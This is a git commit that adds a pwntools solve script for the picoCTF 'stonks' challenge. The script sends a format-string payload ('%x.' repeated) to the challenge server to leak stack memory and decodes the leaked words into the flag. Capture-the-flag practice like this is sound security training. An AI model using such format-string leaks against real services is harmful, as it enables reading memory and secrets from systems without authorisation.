pwn: add already solved challenges

pwn/stonks/solve.py

@@ -0,0 +1,43 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i python3 -p python3 python3Packages.pwntools
+
+from pwn import *
+
+ADDR = "mercury.picoctf.net 59616"
+HOST, PORT = ADDR.split(" ")
+
+def main():
+    for x in range(1,2):
+        r = remote(HOST, PORT)
+        r.recvline()
+        r.recvline()
+        r.recvline()
+        r.recvline()
+        r.recvline()
+        r.sendline(b'1')
+        r.recvline()
+        r.recvline()
+        r.recvline()
+
+        # r.sendline(f'%{x}$s'.encode())
+        # print(f'%{x}$s'.encode())
+        r.sendline(b"%x." * 99 + b"%x")
+        r.recvline()
+        result = r.recvline()
+        print(result)
+        unpacked = []
+        for x in result.strip().split(b"."):
+            x = int(x, 16)
+            print(x)
+            unpacked.extend([
+                (x & 0x000000FF),
+                (x & 0x0000FF00) >> 8,
+                (x & 0x00FF0000) >> 16,
+                (x & 0xFF000000) >> 24,
+            ])
+        for x in unpacked:
+            if x >= ord('!') and x <= ord('~'):
+                print(chr(x), end='')
+
+if __name__ == "__main__":
+    main()